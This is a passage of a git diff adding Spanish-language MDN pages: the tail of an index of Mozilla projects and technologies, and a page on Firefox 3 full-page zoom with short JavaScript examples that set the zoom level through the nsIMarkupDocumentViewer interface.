+  <h2 id="Products" name="Products">Productos y proyectos</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/docs/Emscripten">Emscripten</a></dt>
+   <dd>
+    <p>Un compilador de LLVM a JavaScript; esto te permite compilar, por ejemplo, código de C++ en condigo JavaScript que puede ser ejecutado en cualquier explorador de internet.</p>
+   </dd>
+   <dt>
+    <a href="/en-US/docs/L20n">L20n</a></dt>
+   <dd>
+    <p>Un framework de localización para JavaScript, que te permite liberar todo el poder de tu idioma con códigos simples.</p>
+   </dd>
+   <dt>
+    <a href="/en-US/docs/Project:MDN">El proyecto MDN</a></dt>
+   <dd>
+    El proyecto de Desarrolladores de Redes de Mozilla (MDN por sus siglas en inglés, es decir: este mismo sitio) confía en la comunidad de lectores y colaboradores para crecer y mejorar. Puedes aprender acá como contribuir a construir el código detrás de MDN!</dd>
+   <dt>
+    <a href="/en-US/Persona">Persona</a></dt>
+   <dd>
+    <p>Un nuevo y simple sistema de registro desarrollado por Mozilla que les permite a los usuarios registrarse en una web usando sus direcciones de correo electrónico, liberándote del manejo de contraseñas y mejorando tu privacidad.</p>
+   </dd>
+  </dl>
+  <h2 id="Tecnologías_de_Mozilla">Tecnologías de Mozilla</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/Add-ons">Complementos </a></dt>
+   <dd>
+    Aprende a construir e instalar extensiones, temas y complementos para software basado en Mozilla, incluyendo el popular navegador Web Firefox.</dd>
+   <dt>
+    <a href="/en-US/Firefox">Firefox</a></dt>
+   <dd>
+    Aprende todo sobre Firefox, desde cómo construir y revisarlo, hasta como crear complementos específicamente para él.</dd>
+   <dt>
+    <a href="/en-US/Firefox_OS">Firefox OS</a></dt>
+   <dd>
+    Un nuevo sistema operativo para móviles desarrollado por Mozilla que les permite a los usuarios instalar y ejecutar aplicaciones de Web abierta utilizando HTML, CSS y JavaScript.</dd>
+  </dl>
+ </div>
+</div>
+<p> </p>
diff --git a/files/es/zoom_a_página_completa/index.html b/files/es/zoom_a_página_completa/index.html
new file mode 100644
index 0000000000..106a680dfa
--- /dev/null
+++ b/files/es/zoom_a_página_completa/index.html
@@ -0,0 +1,46 @@
+---
+title: Zoom a página completa
+slug: Zoom_a_página_completa
+translation_of: Mozilla/Firefox/Releases/3/Full_page_zoom
+---
+<div>{{FirefoxSidebar}}</div><p>{{ Fx_minversion_header(3) }} {{ Gecko_minversion_header(1.9) }}</p>
+
+<p>El zoom a página completa (o sólo zoom completo) es una nueva característica que probablemente estará con <a href="es/Firefox_3_para_desarrolladores">Firefox 3</a>. Puedes verla en funcionamiento en las actuales "trunk builds" desde Gecko 1.9a7. Mientras no exista aún UI puedes usar JavaScript y la interface <a href="es/XPCOM">XPCOM</a> <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIMarkupDocumentViewer.html">nsIMarkupDocumentViewer</a>.</p>
+
+<h3 id="Ejemplo_.28xul:browser.29" name="Ejemplo_.28xul:browser.29">Ejemplo (xul:browser)</h3>
+
+<p>El siguiente ejemplo demuestra su uso para la ventana de navegación que posea actualmente el foco. Este es el típico uso para una extensión de Firefox.</p>
+
+<pre>var zoom = 1.5;
+var docViewer = getBrowser().mCurrentBrowser.markupDocumentViewer;
+docViewer.fullZoom = zoom;
+</pre>
+
+<h3 id="Ejemplo_.28xul:iframe.29" name="Ejemplo_.28xul:iframe.29">Ejemplo (xul:iframe)</h3>
+
+<p>Puedes usar la característica de zoom completo incluso para un xul:iframe. Sin embargo, dado que un iframe no posee ninguna propiedad markupDocumentViewer, debemos primero obtenerla:</p>
+
+<pre>var zoom = 1.5;
+var iframe = document.getElementById("authorFrame");
+var contViewer = iframe.docShell.contentViewer;
+var docViewer = contViewer.QueryInterface(Components.interfaces.nsIMarkupDocumentViewer);
+docViewer.fullZoom = zoom;
+</pre>
+
+<h3 id="Referenc.C3.ADas" name="Referenc.C3.ADas">Referencías</h3>
+
+<ul>
+ <li>Extensión Page zoom de Ted Mielczarek <a class="external" href="http://ted.mielczarek.org/code/mozilla/fullpagezoom.xpi">fullpagezoom.xpi</a> para los últimos releases nocturnos de Firefox 3.0</li>
+ <li>El <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=4821">bug en bugzilla</a> sobre zoom completo (fullZoom).</li>
+ <li>La documentación de la interface <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIMarkupDocumentViewer.html">nsIMarkupDocumentViewer</a> (actualmente no menciona zoom completo).</li>
+</ul>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "fr": "fr/Zoom_pleine_page", "ja": "ja/Full_page_zoom", "en": "en/Full_page_zoom" } ) }}</p>